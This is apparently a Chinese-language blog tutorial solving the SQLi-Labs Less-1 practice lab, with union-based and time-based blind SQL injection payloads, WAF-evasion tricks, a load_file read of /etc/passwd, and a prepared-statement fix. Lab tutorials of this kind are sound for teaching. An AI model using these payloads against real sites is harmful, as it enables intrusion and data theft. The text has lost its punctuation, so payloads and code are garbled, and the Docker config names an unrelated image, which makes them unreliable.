ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

SQL注入实战:从SQLi-Labs Less-1入门Web安全

SQL注入实战:从SQLi-Labs Less-1入门Web安全 1. SQL注入实战入门从SQLi-Labs Less-1开始十年前我第一次接触Web安全时SQL注入就像一扇神秘的大门。而SQLi-Labs这个开源靶场特别是它的第一关Less-1成为了无数安全从业者的启蒙课。这个基于MySQL的注入关卡设计精妙完美展示了最基本的错误型注入原理。今天我就带大家手把手通关顺便分享几个我当年踩坑后总结的实用技巧。2. 环境准备与靶场搭建2.1 靶场部署要点SQLi-Labs需要PHPMySQL环境推荐使用XAMPP或Docker快速部署。我习惯用Docker-compose部署这里分享我的配置文件version: 3 services: web: image: vulnerables/web-dvwa ports: - 80:80 environment: - PHP_UPLOAD_MAX_FILESIZE10M - PHP_POST_MAX_SIZE10M注意首次访问需要执行/setup.php初始化数据库遇到连接失败时检查MySQL服务是否启动2.2 常见部署问题排查空白页面检查php版本是否≥5.4建议7.x数据库连接失败修改db-creds.inc中的账号密码报错显示被禁用在php.ini中开启display_errors On3. Less-1漏洞原理深度解析3.1 源码关键逻辑分析查看Less-1/index.php源码关键SQL语句为$id $_GET[id]; $sql SELECT * FROM users WHERE id$id LIMIT 0,1;典型的字符型注入漏洞未对输入做任何过滤。当输入id1时SQL语句变为SELECT * FROM users WHERE id1 LIMIT 0,1导致语法错误这就是错误回显型注入的特征。3.2 信息收集技巧先通过报错判断注入类型?id1 -- 报错 ?id1 and 11 -- -- 正常 ?id1 and 12 -- -- 无结果确认存在字符型注入后用order by猜字段数?id1 order by 4-- -- 报错 ?id1 order by 3-- -- 正常4. 完整注入流程实操4.1 联合查询注入步骤确定字段数已知为3找出显示位?id-1 union select 1,2,3--页面会显示2和3的位置爆数据库信息?id-1 union select 1,database(),version()--获取表名?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--提取users表数据?id-1 union select 1,group_concat(username),group_concat(password) from users--4.2 盲注技巧补充当没有回显时可以采用时间盲注?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--5. 防御方案与实战建议5.1 修复方案代码示例// 预处理语句方案 $stmt $conn-prepare(SELECT * FROM users WHERE id? LIMIT 0,1); $stmt-bind_param(i, $id); $stmt-execute();5.2 实战中的注意事项遇到WAF时尝试大小写混写UnIoN SeLeCt注释符变体-- /*!*/空白符替换%09(tab)信息收集阶段优先使用select version_compile_os,hostname数据导出时遇到长度限制select substr(load_file(/etc/passwd),1,100)6. 靶场进阶训练建议完成Less-1后建议按顺序挑战Less-2整数型注入Less-5布尔盲注Less-11POST型注入每个关卡尝试至少三种不同注入方式并记录payload的成功率。我在实际渗透测试中发现联合查询在实际环境中成功率约60%而时间盲注能达到85%以上。
返回列表